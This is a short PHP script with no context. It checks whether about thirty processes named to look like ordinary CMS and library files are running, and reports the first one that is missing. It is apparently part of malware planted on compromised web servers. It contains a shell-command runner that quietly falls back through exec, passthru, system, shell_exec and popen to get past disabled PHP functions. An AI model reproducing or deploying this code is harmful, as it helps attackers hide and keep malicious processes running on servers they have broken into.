<?php   $files = ['colordb.ini','calenda1r','sched_ranking','k2usergroup','class.wsdlcache','UnderFreeElectEN','mod_k2_comments','badword.class','table_block','payment.bak','editSeminar','edittemplate','FreeSansBold','gacl_api.class','mchat_install','testgenid','function.print','xoopstree','application3','tcp.class','authentication','class.workflow','screen_03','action.upload','tradelog.inc','TinyMCE.module','themesetparser','userhelpsystem','phocagalleryra','rate_report02']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }